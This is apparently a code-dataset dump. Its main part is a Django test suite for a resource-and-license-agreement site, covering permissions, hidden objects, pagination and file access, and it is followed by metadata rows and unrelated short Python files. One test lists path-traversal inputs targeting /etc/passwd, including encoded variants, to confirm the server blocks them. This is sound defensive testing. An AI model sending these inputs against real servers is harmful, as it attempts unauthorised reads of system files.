self.assertContains(response, f'<a class="warning" '
f'href="{reverse(lowercase_plural+"_read", args=["test"])}">Cancel</a>',
html=True)
self.assertContains(response, '<input type="submit" value="Save">', html=True)
self.assertContains(response, '<input type="text" name="slug" value="test" disabled id="id_slug">',
html=True)
# Visit the delete view.
response = self.client.get(reverse(lowercase_plural+'_delete', args=['test']))
with self.subTest(msg=lowercase_plural+'_delete'):
self.assertContains(response, '<title>Sign - Delete Test</title>', html=True)
self.assertContains(response, '<h2>Delete Test</h2>', html=True)
self.assertContains(response, f'<p>Are you sure you want to delete this {lowercase_singular}?</p>',
html=True)
self.assertContains(response, f'<a class="warning" '
f'href="{reverse(lowercase_plural+"_read", args=["test"])}">No</a>',
html=True)
self.assertContains(response, '<input type="submit" value="Yes">', html=True)
def test_skip_link(self):
"""Check that the skip link is present on all templates for basic CRUD actions a user can perform"""
def check_skip_link(response):
# The body element's first child should be the skip link.
self.assertContains(response, '<body>\n <div id="skip"><a href="#main">Skip to main content</a></div>')
# The skip link target should be valid.
self.assertContains(response, '<main id="main">')
response = self.client.get(reverse('index'))
with self.subTest(msg='index'):
check_skip_link(response)
self.client.login(username='test', password='test')
for _, plural in self.model_names:
lowercase_plural = plural.lower()
response = self.client.get(reverse(lowercase_plural+'_list'))
with self.subTest(msg=lowercase_plural+'_list'):
check_skip_link(response)
# Visit the create view.
response = self.client.get(reverse(lowercase_plural+'_create'))
with self.subTest(msg=lowercase_plural+'_create'):
check_skip_link(response)
self.create_test_models()
for _, plural in self.model_names:
lowercase_plural = plural.lower()
# Visit the list view. It should now have content.
response = self.client.get(reverse(lowercase_plural+'_list'))
with self.subTest(msg=lowercase_plural+'_list'):
check_skip_link(response)
# Visit the read view.
response = self.client.get(reverse(lowercase_plural+'_read', args=['test']))
with self.subTest(msg=lowercase_plural+'_read'):
check_skip_link(response)
# Visit the update view.
response = self.client.get(reverse(lowercase_plural+'_update', args=['test']))
with self.subTest(msg=lowercase_plural+'_update'):
check_skip_link(response)
# Visit the delete view.
response = self.client.get(reverse(lowercase_plural+'_delete', args=['test']))
with self.subTest(msg=lowercase_plural+'_delete'):
check_skip_link(response)
def test_label_suffix(self):
"""Test to make sure the label suffix has been removed"""
def check_label_suffix(response):
self.assertEqual(response.context['form'].label_suffix, '')
self.client.login(username='test', password='test')
for _, plural in self.model_names:
lowercase_plural = plural.lower()
# Visit the create view.
response = self.client.get(reverse(lowercase_plural+'_create'))
with self.subTest(msg=lowercase_plural+'_create'):
check_label_suffix(response)
self.create_test_models()
for _, plural in self.model_names:
lowercase_plural = plural.lower()
# Visit the update view.
response = self.client.get(reverse(lowercase_plural+'_update', args=['test']))
with self.subTest(msg=lowercase_plural+'_update'):
check_label_suffix(response)
class GlobalPermissionsTestCase(TestCase):
"""Test that views which only check for global permissions are correctly protected"""
def setUp(self):
"""Create test data for this test case"""
test_user = get_user_model().objects.create_user(username='test',
first_name='test',
last_name='test',
email='test@test.com',
password='test')
self.test_group = Group.objects.create(name='test')
self.test_group.user_set.add(test_user)
test_resource = Resource.objects.create(name='Test resource', slug='test', description='')
test_faculty = Faculty.objects.create(name='Test faculty', slug='test')
Department.objects.create(name='Test department', slug='test', faculty=test_faculty)
Agreement.objects.create(title='Test agreement',
slug='test',
resource=test_resource,
body='body',
redirect_url='https://example.com',
redirect_text='example-redirect')
def test_global_permissions(self):
"""Only a user in a group with a particular global permission should be able to access some views"""
model_names = [('resource', 'resources'), ('faculty', 'faculties'),
('department', 'departments'), ('agreement', 'agreements'), ]
self.client.login(username='test', password='test')
def check_access(action, url, perm, elem):
"""In a subtest, check the permissions on the url"""
with self.subTest(msg=f'{url}-{perm}'):
if action in ['read', 'update', 'delete']:
url_reversed = reverse(url, args=['test'])
else:
url_reversed = reverse(url)
# The test user should get a 403 if they don't have the permission
response = self.client.get(url_reversed)
self.assertEqual(response.status_code, 403)
# Give the user's group the global permission.
permission = Permission.objects.get(codename=perm)
self.test_group.permissions.add(permission)
# The test user should now see the form.
response = self.client.get(url_reversed)
self.assertContains(response, elem, html=True)
# Remove the permission
self.test_group.permissions.remove(permission)
# The test user should get a 403
response = self.client.get(url_reversed)
self.assertEqual(response.status_code, 403)
for model, plural in model_names:
for action, perm in [('create', 'add'), ('read', 'view'), ('update', 'change'), ('delete', 'delete')]:
if model in ['resource', 'agreement'] and action in ['read', 'update']:
continue
url = f'{plural}_{action}'
perm = f'{perm}_{model}'
if action == 'create':
check_access(action, url, perm, f'<h2>Create a new {model}</h2>')
elif action == 'read':
check_access(action, url, perm, f'<h2>Test {model}</h2>')
elif action == 'update':
check_access(action, url, perm, f'<h2>Update Test {model}</h2>')
elif action == 'delete':
check_access(action, url, perm, f'<h2>Delete Test {model}</h2>')
class PaginationTestCase(TestCase):
"""Test pagination"""
def setUp(self):
"""Create a test user"""
self.test_user = get_user_model().objects.create_user(username='test',
first_name='test',
last_name='test',
email='admin@test.com',
password='test')
def test_agreement_pagination(self):
"""Test agreement pagination"""
test_resource = Resource.objects.create(name='Test', slug='test', description='')
for i in range(35):
Agreement.objects.create(title=f'Test-{i}',
slug=f'test-{i}',
resource=test_resource,
body='body',
redirect_url='https://example.com',
redirect_text='example-redirect',
hidden=((i % 10) == 0)) # 0, 10, 20, 30 are hidden
# Test HTML
self.client.login(username='test', password='test')
response = self.client.get(reverse('agreements_list'))
self.assertContains(response, '<span class="current">Page 1 of 3.</span>', html=True)
# Test view context
request = RequestFactory().get(reverse('agreements_list'))
request.user = self.test_user
agreement_list = AgreementList()
agreement_list.setup(request)
context = agreement_list.get_context_data(object_list=agreement_list.get_queryset())
self.assertEqual(context['paginator'].count, 31)
def test_resource_pagination(self):
"""Test resource pagination"""
for i in range(67):
Resource.objects.create(name=f'Test-{i}', slug=f'test-{i}', description='', hidden=((i % 10) == 0))
# Test HTML
self.client.login(username='test', password='test')
response = self.client.get(reverse('resources_list'))
self.assertContains(response, '<span class="current">Page 1 of 4.</span>', html=True)
# Test view context
request = RequestFactory().get(reverse('resources_list'))
request.user = self.test_user
resource_list = ResourceList()
resource_list.setup(request)
context = resource_list.get_context_data(object_list=resource_list.get_queryset())
self.assertEqual(context['paginator'].count, 60)
class HiddenAgreementResourceTestCase(TestCase):
"""Test the resource and agreement listings which limit visibility of hidden objects"""
models = ('agreement', 'resource')
def setUp(self):
"""Create test data for this test case"""
self.test_user = get_user_model().objects.create_user(username='test',
first_name='test',
last_name='test',
email='test@test.com',
password='test')
get_user_model().objects.create_user(username='test2',
first_name='test',
last_name='test',
email='test2@test.com',
password='test')
get_user_model().objects.create_user(username='patron',
first_name='test',
last_name='test',
email='patron@test.com',
password='test')
self.test_group = Group.objects.create(name='test')
self.test_resource = Resource.objects.create(name='Test Resource WooHoo', slug='test', description='')
self.test_agreement = Agreement.objects.create(title='Test Agreement WooHoo',
slug='test',
resource=self.test_resource,
body='body',
redirect_url='https://example.com',
redirect_text='example-redirect')
self.object_per_model = {'agreement': self.test_agreement, 'resource': self.test_resource}
def object_visible(self, model, hidden_label=False):
"""Is the test instance of the model visible, with or without the hidden label"""
response = self.client.get(reverse(f'{model}s_list'))
if hidden_label:
self.assertContains(response, f'Test {model.title()} WooHoo (Hidden)')
else:
self.assertContains(response, f'Test {model.title()} WooHoo')
response = self.client.get(reverse(f'{model}s_read', args=['test']))
self.assertContains(response, f'Test {model.title()} WooHoo')
def object_hidden(self, model):
"""Is the test instance of the model hidden"""
response = self.client.get(reverse(f'{model}s_list'))
self.assertContains(response, f'<p>No {model}s found.</p>', html=True)
self.assertNotContains(response, f'Test {model.title()} WooHoo')
response = self.client.get(reverse(f'{model}s_read', args=['test']))
self.assertEqual(response.status_code, 403)
def test_object_hidden(self):
"""Test to make sure agreements and resources are hidden properly"""
for model in self.models:
with self.subTest(msg=model+'_test_object_hidden'):
# Can a patron see the object before it is hidden?
self.client.login(username='patron', password='test')
self.object_visible(model)
# Hide the object
self.object_per_model[model].hidden = True
self.object_per_model[model].save()
# The patron should no longer be able to see the object
self.object_hidden(model)
def test_object_global_permissions(self):
"""Test that global group permissions allow a user to see a hidden object"""
for model in self.models:
with self.subTest(msg=model+'_test_agreement_global_permissions'):
self.object_per_model[model].hidden = True
self.object_per_model[model].save()
# Add test to the test group.
self.test_group.user_set.add(self.test_user)
# They shouldn't be able to see the object.
self.client.login(username='test', password='test')
self.object_hidden(model)
# Give the group the global permission.
view_model = Permission.objects.get(codename=f'view_{model}')
self.test_group.permissions.add(view_model)
# They should now be able to see the agreement
self.object_visible(model, hidden_label=True)
# It should still be hidden for other users
self.client.login(username='test2', password='test')
self.object_hidden(model)
def test_per_object_permissions(self):
"""Test that object group permissions allow a user to see a hidden object"""
for model in self.models:
with self.subTest(msg=model+'_test_agreement_object_permissions'):
self.object_per_model[model].hidden = True
self.object_per_model[model].save()
# Add test user to the test group.
self.test_group.user_set.add(self.test_user)
# They shouldn't be able to see the object.
self.client.login(username='test', password='test')
self.object_hidden(model)
# Give the group the object permission.
assign_perm(f'view_{model}', self.test_group, self.object_per_model[model])
# They should now be able to see the agreement
self.object_visible(model, hidden_label=True)
# It should still be hidden for other users
self.client.login(username='test2', password='test')
self.object_hidden(model)
class ResourceAndAgreementListTestCase(TestCase):
"""
Test the agreement and resource list views.
Other test cases handle testing hidden objects and pagination.
"""
def setUp(self):
"""Create a test user"""
get_user_model().objects.create_user(username='test',
first_name='test',
last_name='test',
email='admin@test.com',
password='test')
def test_same_pagination_value(self):
"""The two list views should paginate by the same number of objects"""
self.assertEqual(AgreementList().paginate_by, ResourceList().paginate_by)
def test_login_required(self):
"""The two views should both require logging in to see them"""
for url in [reverse('resources_list'), reverse('agreements_list')]:
with self.subTest(msg=url):
# Before logging in, the user should be denied access
response = self.client.get(url)
self.assertRedirects(response, f"{reverse('login')}?next={url}")
self.client.login(username='test', password='test')
response = self.client.get(url)
self.assertEqual(response.status_code, 200)
self.client.logout()
class ResourceReadTestCase(TestCase):
"""Tests for the ResourceRead view"""
def setUp(self):
"""Create test data for this test case"""
self.test_user = get_user_model().objects.create_user(username='test',
first_name='test',
last_name='test',
email='test@test.com',
password='test')
get_user_model().objects.create_user(username='patron',
first_name='test',
last_name='test',
email='patron@test.com',
password='test')
self.test_group = Group.objects.create(name='test')
self.test_resource = Resource.objects.create(name='Test Resource WooHoo', slug='test-resource', description='')
self.test_agreement = Agreement.objects.create(title='Test Agreement WooHoo',
slug='test',
resource=self.test_resource,
body='body',
redirect_url='https://example.com',
redirect_text='example-redirect')
test_faculty = Faculty.objects.create(name='Test', slug='test')
test_department = Department.objects.create(name='Test', slug='test', faculty=test_faculty)
test_signature = Signature.objects.create(agreement=self.test_agreement,
signatory=self.test_user,
username=self.test_user.username,
email=self.test_user.email,
department=test_department)
LicenseCode.objects.create(resource=self.test_resource,
code='abc',
signature=test_signature)
self.url = reverse('resources_read', args=[self.test_resource.slug])
def test_login_required(self):
"""The view should require the user be logged in to access it"""
response = self.client.get(self.url)
self.assertRedirects(response, f"{reverse('login')}?next={self.url}")
self.client.login(username='test', password='test')
response = self.client.get(self.url)
self.assertContains(response, '<h2>Test Resource WooHoo</h2>', html=True)
def test_view_permissions(self):
"""The view requires permissions to access if the resource is hidden"""
self.test_resource.hidden = True
self.test_resource.save()
# The hidden resource should not be accessible.
self.client.login(username='test', password='test')
response = self.client.get(self.url)
self.assertEqual(response.status_code, 403)
# Add test user to the test group.
self.test_group.user_set.add(self.test_user)
# Give the group the object permission.
assign_perm('view_resource', self.test_group, self.test_resource)
# The resource should now be accessible.
response = self.client.get(self.url)
self.assertContains(response, '<h2>Test Resource WooHoo</h2>', html=True)
self.assertContains(response, '<p class="alert">⚠ This resource is hidden.</p>', html=True)
# Remove the permission
remove_perm('view_resource', self.test_group, self.test_resource)
# The hidden resource should not be accessible.
response = self.client.get(self.url)
self.assertEqual(response.status_code, 403)
# Give the group the global permission.
view_model = Permission.objects.get(codename='view_resource')
self.test_group.permissions.add(view_model)
# The resource should now be accessible.
response = self.client.get(self.url)
self.assertContains(response, '<h2>Test Resource WooHoo</h2>', html=True)
self.assertContains(response, '<p class="alert">⚠ This resource is hidden.</p>', html=True)
def test_resource_associated_agreement_signature(self):
"""Test that the resource read page has the associated agreement, signature, and license code"""
self.client.login(username='test', password='test')
response = self.client.get(self.url)
# The test user should see the associated agreement.
self.assertContains(response, "<h3>Test Agreement WooHoo</h3>", html=True)
# ... the associated signature
self.assertContains(response, "You signed this agreement on ")
# ... the associated license code
self.assertContains(response, "<p>License Code: abc</p>", html=True)
# Hide the agreement
self.test_agreement.hidden = True
self.test_agreement.save()
response = self.client.get(self.url)
# The test user should not see the associated agreement.
self.assertNotContains(response, "<h3>Test Agreement WooHoo</h3>", html=True)
# ... the associated signature
self.assertNotContains(response, "You signed this agreement on ")
# ... the associated license code
self.assertNotContains(response, "<p>License Code: abc</p>", html=True)
# Add test user to the test group.
self.test_group.user_set.add(self.test_user)
# Give the group the object permission.
assign_perm('view_agreement', self.test_group, self.test_agreement)
response = self.client.get(self.url)
# The test user should now see the associated agreement.
self.assertContains(response, "<h3>Test Agreement WooHoo (Hidden)</h3>", html=True)
# ... the associated signature
self.assertContains(response, "You signed this agreement on ")
# ... the associated license code
self.assertContains(response, "<p>License Code: abc</p>", html=True)
def test_actions_respect_permissions(self):
"""Test that the actions which require permissions don't appear if you don't have those permissions"""
permissions_action_html = ('<a class="permissions" '
f"href=\"{reverse('resources_permissions', args=[self.test_resource.slug])}\""
'>Permissions</a>')
edit_action_html = ('<a class="ok" '
f"href=\"{reverse('resources_update', args=[self.test_resource.slug])}\""
'>Edit</a>')
file_access_stats_action_html = ('<a class="bonus" '
f"href=\"{reverse('resources_file_stats', args=[self.test_resource.slug])}\""
'>File Access Stats</a>')
licensecodes_action_html = ('<a class="bonus" '
f"href=\"{reverse('resources_codes_list', args=[self.test_resource.slug])}\""
'>License Codes</a>')
permissions_to_html = [('change_resource', (permissions_action_html, edit_action_html)),
('resource_view_file_access_stats', (file_access_stats_action_html,)),
('resource_view_licensecodes', (licensecodes_action_html,))]
def actions_visibility(elems, visible=True):
response = self.client.get(self.url)
for elem in elems:
if visible:
self.assertContains(response, elem, html=True)
else:
self.assertNotContains(response, elem, html=True)
self.test_group.user_set.add(self.test_user)
self.client.login(username='test', password='test')
for permission_codename, elems in permissions_to_html:
with self.subTest(msg=permission_codename):
# The actions should not be available.
actions_visibility(elems, False)
# Give the user's group the global permission.
permission = Permission.objects.get(codename=permission_codename)
self.test_group.permissions.add(permission)
# The actions should be available.
actions_visibility(elems, True)
# Remove the permission
self.test_group.permissions.remove(permission)
# The actions should not be available.
actions_visibility(elems, False)
# Give the user's group the object permission.
assign_perm(permission_codename, self.test_group, self.test_resource)
# The actions should be available.
actions_visibility(elems, True)
# Remove the permission
remove_perm(permission_codename, self.test_group, self.test_resource)
# The actions should not be available.
actions_visibility(elems, False)
class ResourceAccessTestCase(TestCase):
"""Tests for the ResourceAccess view"""
@classmethod
def setUpClass(cls):
super().setUpClass()
cls.temp_media_root = tempfile.mkdtemp(suffix='mellyn_tests')
test_data_dir = os.path.join(cls.temp_media_root, 'test-resource/a/b/c/d')
os.makedirs(os.path.join(test_data_dir, 'e'))
with open(os.path.join(test_data_dir, 'testfile.txt'), 'w') as test_file:
test_file.writelines(['and a one\n', 'and a two\n', 'and a three!\n'])
@classmethod
def tearDownClass(cls):
shutil.rmtree(cls.temp_media_root)
super().tearDownClass()
def setUp(self):
"""Create test data for this test case"""
self.test_user = get_user_model().objects.create_user(username='test',
first_name='test',
last_name='test',
email='test@test.com',
password='test')
self.test_resource = Resource.objects.create(name='Test Resource WooHoo', slug='test-resource', description='')
self.test_agreement = Agreement.objects.create(title='Test Agreement WooHoo',
slug='test',
resource=self.test_resource,
body='body',
redirect_url='https://example.com',
redirect_text='example-redirect')
test_faculty = Faculty.objects.create(name='Test', slug='test')
test_department = Department.objects.create(name='Test', slug='test', faculty=test_faculty)
self.test_signature = Signature.objects.create(agreement=self.test_agreement,
signatory=self.test_user,
username=self.test_user.username,
email=self.test_user.email,
department=test_department)
self.url = reverse('resources_access', args=[self.test_resource.slug, 'a/b/c/d'])
def test_login_and_signature_required(self):
"""The view should require the user be logged in and have signed the agreement to access it"""
with self.settings(MEDIA_ROOT=self.temp_media_root):
self.test_signature.delete()
response = self.client.get(self.url)
self.assertRedirects(response, f"{reverse('login')}?next={self.url}")
self.client.login(username='test', password='test')
response = self.client.get(self.url)
self.assertRedirects(response, reverse('agreements_read', args=[self.test_agreement.slug]))
def test_404_if_agreement_hidden(self):
"""A hidden agreement returns a 404 error"""
with self.settings(MEDIA_ROOT=self.temp_media_root):
self.test_agreement.hidden = True
self.test_agreement.save()
self.client.login(username='test', password='test')
response = self.client.get(self.url)
self.assertEqual(response.status_code, 404)
def test_404_if_agreement_invalid(self):
"""An invalid agreement returns a 404 error"""
with self.settings(MEDIA_ROOT=self.temp_media_root):
self.test_agreement.end = now()
self.test_agreement.save()
self.client.login(username='test', password='test')
response = self.client.get(self.url)
self.assertEqual(response.status_code, 404)
def test_404_on_missing_path(self):
"""An invalid path returns a 404 error"""
with self.settings(MEDIA_ROOT=self.temp_media_root):
self.client.login(username='test', password='test')
response = self.client.get(urllib.parse.urljoin(self.url, 'x/y/z'))
self.assertEqual(response.status_code, 404)
def test_403_on_suspicious_path(self):
"""Basic 'weird' paths returns a 403 error"""
with self.settings(MEDIA_ROOT=self.temp_media_root):
for bad_path in ['../../../etc/passwd',
'%2e%2e/%2e%2e/%2e%2e/etc/passwd',
'..%c0%af..%c0%af..%c0%af/etc/passwd',
'%2e%2e%c0%af%2e%2e%c0%af%2e%2e%c0%af/etc/passwd']:
with self.subTest(msg=bad_path):
self.client.login(username='test', password='test')
response = self.client.get(self.url + '/' + bad_path)
self.assertEqual(response.status_code, 403)
response = self.client.get(self.url + bad_path)
self.assertEqual(response.status_code, 403)
def test_directory_view(self):
"""The view should return a directory listing"""
with self.settings(MEDIA_ROOT=self.temp_media_root):
self.client.login(username='test', password='test')
response = self.client.get(self.url, follow=True)
self.assertContains(response, f'<h2>File Access for {self.test_resource.name}</h2>', html=True)
test_file_access_path = reverse('resources_access', args=[self.test_resource.slug, 'a/b/c/d/testfile.txt'])
self.assertContains(response, f'<a href="{test_file_access_path}">testfile.txt</a>', html=True)
test_subdir_access_path = reverse('resources_access', args=[self.test_resource.slug, 'a/b/c/d/e'])
self.assertContains(response, f'<a href="{test_subdir_access_path}">e</a>', html=True)
test_parentdir_access_path = reverse('resources_access', args=[self.test_resource.slug, 'a/b/c'])
self.assertContains(response,
'<a aria-label="Navigate up to the parent directory" '
f'href="{test_parentdir_access_path}">↑ Parent Directory</a>',
html=True)
class AgreementReadTestCase(TestCase):
"""Tests for the AgreementRead view"""
def setUp(self):
"""Create test data for this test case"""
self.test_user = get_user_model().objects.create_user(username='test',
first_name='test',
last_name='test',
email='test@test.com',
password='test',
is_staff=True)
self.test_group = Group.objects.create(name='test')
self.test_resource = Resource.objects.create(name='Test Resource WooHoo', slug='test-resource', description='')
self.test_agreement = Agreement.objects.create(title='Test Agreement WooHoo',
slug='test',
resource=self.test_resource,
body='body',
redirect_url='https://example.com',
redirect_text='example-redirect')
test_faculty = Faculty.objects.create(name='Test', slug='test')
self.test_department = Department.objects.create(name='Test', slug='test', faculty=test_faculty)
self.url = reverse('agreements_read', args=[self.test_agreement.slug])
def test_login_required(self):
"""The view should require the user be logged in to access it"""
response = self.client.get(self.url)
self.assertRedirects(response, f"{reverse('login')}?next={self.url}")
self.client.login(username='test', password='test')
response = self.client.get(self.url)
self.assertContains(response, '<h2>Test Agreement WooHoo</h2>', html=True)
def test_view_permissions(self):
"""The view requires permissions to access if the agreement is hidden"""
self.test_agreement.hidden = True
self.test_agreement.save()
# The hidden ageement should not be accessible.
self.client.login(username='test', password='test')
response = self.client.get(self.url)
self.assertEqual(response.status_code, 403)
# Add test user to the test group.
self.test_group.user_set.add(self.test_user)
# Give the group the object permission.
assign_perm('view_agreement', self.test_group, self.test_agreement)
# The ageement should now be accessible.
response = self.client.get(self.url)
self.assertContains(response, '<h2>Test Agreement WooHoo</h2>', html=True)
self.assertContains(response, '<p class="alert">⚠ This agreement is hidden.</p>', html=True)
# Remove the permission
remove_perm('view_agreement', self.test_group, self.test_agreement)
# The hidden ageement should not be accessible.
response = self.client.get(self.url)
self.assertEqual(response.status_code, 403)
# Give the group the global permission.
view_model = Permission.objects.get(codename='view_agreement')
self.test_group.permissions.add(view_model)
# The agreement should now be accessible.
response = self.client.get(self.url)
self.assertContains(response, '<h2>Test Agreement WooHoo</h2>', html=True)
self.assertContains(response, '<p class="alert">⚠ This agreement is hidden.</p>', html=True)
def test_form_submit(self):
"""Test submitting the signature form"""
# Set up an existing signature and license codes, to test that the correct license code is assigned.
sig_user = get_user_model().objects.create_user(username='sig',
first_name='test',
last_name='test',
email='test@test.com',
password='test')
test_signature = Signature.objects.create(agreement=self.test_agreement,
signatory=sig_user,
username=self.test_user.username,
email=self.test_user.email,
department=self.test_department)
other_resource = Resource.objects.create(name='Some Other Resource Boo', slug='bad-resource', description='NO')
LicenseCode.objects.create(resource=self.test_resource,
code='abc',
signature=test_signature)
LicenseCode.objects.create(resource=other_resource,
code='def',
signature=None)
LicenseCode.objects.create(resource=self.test_resource,
code='ghi',
signature=None)
LicenseCode.objects.create(resource=self.test_resource,
code='jkl',
signature=None)
# Login
self.client.login(username='test', password='test')
# Before signing the agreement, the signature form should be available.
response = self.client.get(self.url)
self.assertContains(response, '<form class="signature" method="post">')
# Sign the agreement.
response = self.client.post(self.url, {'sign': 'on', 'department': str(self.test_department.id)}, follow=True)
# Redirect worked?
self.assertRedirects(response, self.url)
# The form should no longer be displayed.
self.assertNotContains(response, '<form class="signature" method="post">')
# The signature and the license code should be displayed.
self.assertContains(response, "You signed this agreement on ")
# The license code should be the oldest unused one for that resource.
self.assertContains(response, "<p>License Code: ghi</p>", html=True)
def test_actions_respect_permissions(self):
"""Test that the actions which require permissions don't appear if you don't have those permissions"""
permissions_action_html = ('<a class="permissions" '
f"href=\"{reverse('agreements_permissions', args=[self.test_agreement.slug])}\""
'>Permissions</a>')
edit_action_html = ('<a class="ok" '
f"href=\"{reverse('agreements_update', args=[self.test_agreement.slug])}\""
'>Edit</a>')
signatures_action_html = ('<a class="bonus" '
f"href=\"{reverse('agreements_signatures_list', args=[self.test_agreement.slug])}\""
'>Search Signatures</a>')
permissions_to_html = [('change_agreement', (permissions_action_html, edit_action_html)),
('agreement_search_signatures', (signatures_action_html,))]
def actions_visibility(elems, visible=True):
response = self.client.get(self.url)
for elem in elems:
if visible:
self.assertContains(response, elem, html=True)
else:
self.assertNotContains(response, elem, html=True)
self.test_group.user_set.add(self.test_user)
self.client.login(username='test', password='test')
for permission_codename, elems in permissions_to_html:
with self.subTest(msg=permission_codename):
# The actions should not be available.
actions_visibility(elems, False)
# Give the user's group the global permission.
permission = Permission.objects.get(codename=permission_codename)
self.test_group.permissions.add(permission)
# The actions should be available.
actions_visibility(elems, True)
# Remove the permission
self.test_group.permissions.remove(permission)
# The actions should not be available.
actions_visibility(elems, False)
# Give the user's group the object permission.
assign_perm(permission_codename, self.test_group, self.test_agreement)
# The actions should be available.
actions_visibility(elems, True)
# Remove the permission
remove_perm(permission_codename, self.test_group, self.test_agreement)
# The actions should not be available.
actions_visibility(elems, False)
| 51.369979
| 120
| 0.558379
| 5,096
| 48,596
| 5.189168
| 0.074961
| 0.037211
| 0.058009
| 0.041295
| 0.772463
| 0.736122
| 0.706966
| 0.677961
| 0.639502
| 0.617796
| 0
| 0.00537
| 0.333237
| 48,596
| 945
| 121
| 51.424339
| 0.810752
| 0.122644
| 0
| 0.620853
| 0
| 0.00316
| 0.142114
| 0.030097
| 0
| 0
| 0
| 0
| 0.1406
| 1
| 0.06793
| false
| 0.066351
| 0.020537
| 0
| 0.104265
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
|
0
| 4
|
cede5c05c56e6d979044434c6154c0c19f9b08ea
| 228
|
py
|
Python
|
S4/S4 Library/simulation/gsi_handlers/test_handlers.py
|
NeonOcean/Environment
|
ca658cf66e8fd6866c22a4a0136d415705b36d26
|
[
"CC-BY-4.0"
] | 1
|
2021-05-20T19:33:37.000Z
|
2021-05-20T19:33:37.000Z
|
S4/S4 Library/simulation/gsi_handlers/test_handlers.py
|
NeonOcean/Environment
|
ca658cf66e8fd6866c22a4a0136d415705b36d26
|
[
"CC-BY-4.0"
] | null | null | null |
S4/S4 Library/simulation/gsi_handlers/test_handlers.py
|
NeonOcean/Environment
|
ca658cf66e8fd6866c22a4a0136d415705b36d26
|
[
"CC-BY-4.0"
] | null | null | null |
from gsi_handlers.gameplay_archiver import GameplayArchiver
from interactions import ParticipantType
from sims4.gsi.schema import GsiGridSchema, GsiFieldVisualizers
import sims4.log
logger = sims4.log.Logger('GSI Test Handlers')
| 45.6
| 63
| 0.864035
| 28
| 228
| 6.964286
| 0.571429
| 0.082051
| 0.14359
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.014354
| 0.083333
| 228
| 5
| 64
| 45.6
| 0.91866
| 0
| 0
| 0
| 0
| 0
| 0.074236
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.8
| 0
| 0.8
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
|
0
| 4
|
0c71f84ab79f266e560a5c30dd52cf5b2c458c99
| 1,003
|
py
|
Python
|
setup.py
|
sdejongh/universal_answer
|
d8e74caf8091018bdba6f78000ba015fab175224
|
[
"MIT"
] | null | null | null |
setup.py
|
sdejongh/universal_answer
|
d8e74caf8091018bdba6f78000ba015fab175224
|
[
"MIT"
] | null | null | null |
setup.py
|
sdejongh/universal_answer
|
d8e74caf8091018bdba6f78000ba015fab175224
|
[
"MIT"
] | null | null | null |
from setuptools import setup
setup(
name='universal-answer',
packages=['universal-answer'],
version='1.0.3',
license='MIT',
description='Useless package created for application packaging purpose',
author='Steve De Jongh',
author_email='dejongh.st@gmail.com',
url='https://github.com/sdejongh/universal_answer',
download_url='https://github.com/sdejongh/universal_answer/raw/master/dist/universal-answer-1.0.3.tar.gz',
keywords=['h2g2', 'useless', 'dontuse'],
install_requires=[],
classifiers=[
'Development Status :: 5 - Production/Stable',
'Intended Audience :: Other Audience',
'Topic :: Software Development :: Build Tools',
'License :: OSI Approved :: MIT License',
'Programming Language :: Python :: 3',
'Programming Language :: Python :: 3.6',
'Programming Language :: Python :: 3.7',
'Programming Language :: Python :: 3.8',
'Programming Language :: Python :: 3.9',
],
)
| 37.148148
| 110
| 0.638086
| 110
| 1,003
| 5.772727
| 0.618182
| 0.11811
| 0.19685
| 0.204724
| 0.125984
| 0.125984
| 0.125984
| 0
| 0
| 0
| 0
| 0.02267
| 0.208375
| 1,003
| 26
| 111
| 38.576923
| 0.777078
| 0
| 0
| 0
| 0
| 0.04
| 0.624128
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.04
| 0
| 0.04
| 0
| 0
| 0
| 0
| null | 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
0c9110e372486fd1c39ba90e37ac27ebb946de65
| 240
|
py
|
Python
|
async_signalr_client/transports/__init__.py
|
jvillacorta/async-signalr-client
|
5cdb9d8f89c37a0ad5ba6e85df541b1346cbf50d
|
[
"MIT"
] | 2
|
2020-04-21T09:09:33.000Z
|
2021-02-06T21:26:27.000Z
|
async_signalr_client/transports/__init__.py
|
jvillacorta/async-signalr-client
|
5cdb9d8f89c37a0ad5ba6e85df541b1346cbf50d
|
[
"MIT"
] | 1
|
2020-07-09T09:22:52.000Z
|
2020-07-09T09:22:52.000Z
|
async_signalr_client/transports/__init__.py
|
jvillacorta/async-signalr-client
|
5cdb9d8f89c37a0ad5ba6e85df541b1346cbf50d
|
[
"MIT"
] | null | null | null |
from .base_transport import BaseTransport
from .websocket_transport import WebSocketTransport
from .long_polling_transport import LongPollingTransport
__all__ = [
"BaseTransport",
"WebSocketTransport",
"LongPollingTransport"
]
| 24
| 56
| 0.808333
| 20
| 240
| 9.3
| 0.55
| 0.241935
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.133333
| 240
| 9
| 57
| 26.666667
| 0.894231
| 0
| 0
| 0
| 0
| 0
| 0.2125
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.375
| 0
| 0.375
| 0
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
0c943e5d12905f89a7163ae2c2f368f556a5d36f
| 1,502
|
py
|
Python
|
tests/trivial/outputs.py
|
hbrunie/PyFloT
|
